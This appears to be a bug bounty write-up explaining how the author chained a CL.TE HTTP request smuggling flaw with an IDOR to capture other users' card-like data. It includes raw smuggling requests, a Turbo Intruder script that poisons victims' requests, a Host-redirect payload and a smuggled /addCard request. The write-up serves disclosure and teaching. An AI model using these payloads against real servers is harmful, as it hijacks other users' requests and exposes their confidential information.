HTTP Request Smuggling + IDOR

HTTP Request Smuggling or HTTP Desync is one of the trendy vulnerabilities of the moment and one of my favorites, because it allows you to greatly increase the severity of most common bugs. Here, in this first of a series of HTTP Request Smuggling chained vulnerabilities I've found, I'll explain how I chained it with a inoffensive IDOR to retrieve some user highly confidential information.

Everything is redacted and highly modified to not disclose this bug bounty program's information.

All started thanks to Burp's Request Smuggler plugin with which I detected a possible vulnerable CL.TE endpoint.

I like to create my own pocs to confirm if an endpoint is indeed vulnerable, so I used the following crafted request to test this CL.TE .

POST / HTTP/1.1 Transfer-Encoding: chunked Host: xxx.com Content-Length: 35 Foo: bar 0 GET /admin7 HTTP/1.1 X-Foo: k

What I try to achieve with this request is:

The front-end uses the Content-Length header, forwarding the whole request.

header, forwarding the whole request. The back-end uses Transfer-Encoding: chunked processing only the 0 which means end of the request.

processing only the which means end of the request. The remaining part ( GET /admin7 ...) is processed with the next request the back-end receives. (I used /admin7 knowing it returned a 302 code, to make it easier to identify).

In the following pictures it's possible to see the expected behavior.

Since the back-end uses Transfer-Encoding: chunked it will only answer till the 0 returning a 404 (the default code for a POST to / ) and leaving the remaining part unprocessed.

When the next request arrives ( GET / ), that remaining part is processed with it, modifying the other user's request.

This can be achieved with the following Turbo Intruder script.

def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=5, requestsPerConnection=1, resumeSSL=False, timeout=10, pipeline=False, maxRetriesPerRequest=0, engine=Engine.THREADED, ) engine.start() attack = '''POST / HTTP/1.1 Transfer-Encoding: chunked Host: xxx.com Content-Length: 35 Foo: bar 0 GET /admin7 HTTP/1.1 X-Foo: k''' engine.queue(attack) victim = '''GET / HTTP/1.1 Host: xxx.com ''' for i in range(14): engine.queue(victim) time.sleep(0.05) def handleResponse(req, interesting): table.add(req)

We can see how the malicious request is sent first and then, 14 simple GET to / which return a 404 .

But since this system is vulnerable, one of those simple GET was internally modified by our malicious request and returns a different response (the 302 which corresponds to /admin7 ).

What I usually try in these situations is changing the Host header in order to redirect the victim to a different website which will be already considered as a high vulnerability.

POST / HTTP/1.1 Transfer-Encoding: chunked Host: xxx.com Content-Length: 55 Foo: bar 0 POST /admin7 HTTP/1.1 Host: malicious.com Content-Length: 100 kk

Unfortunately this nor any request trying to append the victim's req in the body of my target request didn't work, which made me think that maybe an internal header was being set internally and only requests with that header were processed.

I tried to find an endpoint which would allow me to reflect internal headers, but I couldn't find any, instead I found something better, a hidden swagger with all user endpoint's documentation.

I started testing that API, I was able to create my own user and found that some endpoints were potentially vulnerable to IDOR.

For example, this endpoint ( /addCard ) which allowed to add a credit card to your account (in reality it wasn't credit cards, but this is easier to understand). You can see how any authorization header nor session cookie is being used, only the user id is needed ( 675ygtyt675erp ) to add a new card.

POST /addCard/675ygtyt675erp HTTP/1.1 Host: xx.com Content-Type: application/json Content-Length: 83 {"name": "Name","card": "12345", "exp": "00/00", "cvv": "000"}

But just this behavior shouldn't be considered a real vulnerability, since why would someone add a valid credit card to another user?

Here comes how with HTTP Request Smuggling we can turn this into an IDOR on steroids.

POST / HTTP/1.1 Transfer-Encoding: chunked Host: xxx.com Content-Length: 70 Foo: bar 0 POST /addCard/675ygtyt675erp HTTP/1.1 x-ff: kk